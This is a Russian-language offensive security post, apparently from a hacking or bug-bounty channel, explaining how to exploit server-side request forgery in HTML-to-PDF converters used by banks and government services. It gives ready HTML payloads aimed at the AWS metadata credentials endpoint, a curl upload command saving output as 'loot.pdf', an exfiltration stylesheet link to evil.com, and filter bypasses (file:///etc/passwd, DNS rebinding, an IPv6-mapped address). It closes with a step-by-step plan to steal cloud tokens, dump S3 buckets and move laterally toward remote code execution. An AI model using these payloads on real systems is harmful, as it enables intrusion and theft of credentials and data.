Точка входа:
Что вижу: PDF-конвертеры типа “загрузи html → получишь pdf” крутятся на продах любого банка/гос-сервиса. Внутри часто wkhtmltopdf/PhantomJS/LibreOffice, которые жрут внешние ресурсы. Конвертеру дай картинку по URL — он сам пойдет качать.
Как поймал: берём curl -F "file=@payload.html" https://target.com/pdf
и сканим сетку, вставляя <img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"/>
.
Чем пахнет: Ядрёный SSRF (7/10) → от дампа internal panel до AWS creds и прямого RCE, если бэкенд тянет локалки.
SSRF через PDF-конвертеры
Почему это работает
PDF рендер движки устроены как браузер-бомж: видят ссылку на ресурс → тянут без разбора. Админы думают: «Пусть тянет логотип сайта из интернета», а забывают, что у тебя — полный контроль над HTML. В итоге:
• <img src="http://internal.service.local/admin">
= рендер идёт во внутренку.
• <iframe src="http://169.254.169.254/latest/meta-data/">
= лутаем токены AWS.
• <link rel="stylesheet" href="http://evil.com/mal.css">
= exfil данных наружу.
Эксплойт
Простейший payload:
1 2 3 4 5 6 |
<html> <body> <h1>Report</h1> <img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> </body> </html> |
И дергаем сервис:
1 |
curl -s -F "html=@ssrf.html" https://target.com/render/pdf -o loot.pdf |
Открываешь loot.pdf
— вместо картинки видишь JSON с AWS ключами. Это не баг-док, это ключи от всего S3.
Обход защиты
• Если фильтруют http://
→ юзай file:///etc/passwd
.
• Если резолвят только через DNS → DNS rebinding, подсовываешь свой домен, который сначала указывает на твой сервер, потом на 127.0.0.1.
• Если фильтруют 169.254.169.254
→ IPv6-шорткат типа http://::ffff:169.254.169.254/
.
Доказательство
Классика PoC через логотип:
1 |
<img src="http://internal-api/db/status"> |
Если в PDF видишь SQL-состояние или «Welcome PgAdmin» — поздравляю, у тебя внутренняя админка.
Советы:
3 вектора для добивания:
• Проверь, тянет ли конвертер JS → тогда у тебя полноценный XSS в headless Chromium, шанс RCE через puppeteer args.
• Экспериментируй с file://
→ вытаскиваешь секреты в /etc/
, ssh ключи, .env файлы.
• Если сервис в AWS — сразу бей по http://169.254.169.254/latest/user-data/
и …/iam/security-credentials/
для creds.
План атаки:
1. Генерим HTML с разными <img>
, <iframe>
, <link>
и шлём в PDF API.
2. Чекаем выходной PDF на «лишние данные».
3. Эксплуатируем SSRF: лутаем AWS токены, идём в aws s3 ls
, дампим бакеты.
4. Если доступ к internal — ищем панели (/grafana/
, /jenkins/
).
5. Дальше либо lateral movement (с ворованных токенов), либо добиваем до RCE через доп-инжекцию.
Этот баг — как школьник на free-VPN: никто его не ждал, но он уже влез в твой локалхост и качает токены.